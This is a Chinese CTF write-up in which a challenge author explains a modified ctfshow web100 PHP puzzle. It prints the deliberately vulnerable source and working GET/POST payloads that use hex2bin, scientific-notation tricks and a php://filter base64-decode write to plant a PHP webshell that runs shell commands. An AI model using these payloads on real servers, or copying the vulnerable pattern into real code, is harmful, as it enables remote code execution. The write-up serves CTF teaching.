对ctfshow上面的旧版本web100进行了修改,更改完的源码如下:
<?php
highlight_file(__FILE__);
$v1 = $_POST[‘v1‘];
$v2 = $_GET[‘v2‘];
var_dump($v2);
$v3 = $_GET[‘v3‘];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
$s = substr($v2,2);
$str = call_user_func($v1,$s);
echo $str;
if(!preg_match("/.*p.*h.*p.*/i",$str)){
file_put_contents($v3,$str);
}
else{
die(‘Sorry‘);
}
}
else{
die(‘hacker‘);
}
?>
//这里可以自己调用一个函数,使用hex2bin,将十六进制转成字符串,然后写入文件,再访问文件即可
Payload:?v2=0x3c3f3d60746163202a603b3f3e&v3=sh.php POST:v1=hex2bin
本来想着这样就能做了,本地测试了也没问题,交给了群主大大。但是问题就来了,因为群主给题目使用的php版本是php7,而不是php5导致了预期解直接用不了了。详细可以查看:https://www.php.net/manual/en/function.is-numeric.php
版本 | 描述 |
---|---|
7.0.0 | 十六进制(如 )表示法中的字符串不再被视为数字字符串,即is_numeric() 现在返回 FALSE。 0xf4c3b00c |
这样子直接导致了上面的payload不能使用,需要重新构造新的payload,通过php官网的查看,发现除了十六进制,还有一个"数字e数字"的格式是可以使用的。
感谢Firebasky师傅提供的新的Payload,出题人该被暴打狗头
构造需要写入文件的payload
<?=`cat *`;
使用base64编码后:PD89YGNhdCAqYDs
使用bin2hex函数将字符串转成十六进制的内容:5044383959474e6864434171594473
//这里有个巧妙之处,刚好只有一个e,识别成了科学计数法,很顶
而这里的v3也需要进行修改成伪协议的方式
最后的Payload:
GET:?v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/sh.php
POST:v1=hex2bin
第一次出题,对于php版本没有说明清楚,导致题目难度又上升了,本来是一个新手入门的题目,直接变成了一个脑洞题,这确实是自己的问题,难受!对于做题的兄弟们感到抱歉。
原文:https://www.cnblogs.com/erR0Ratao/p/13731541.html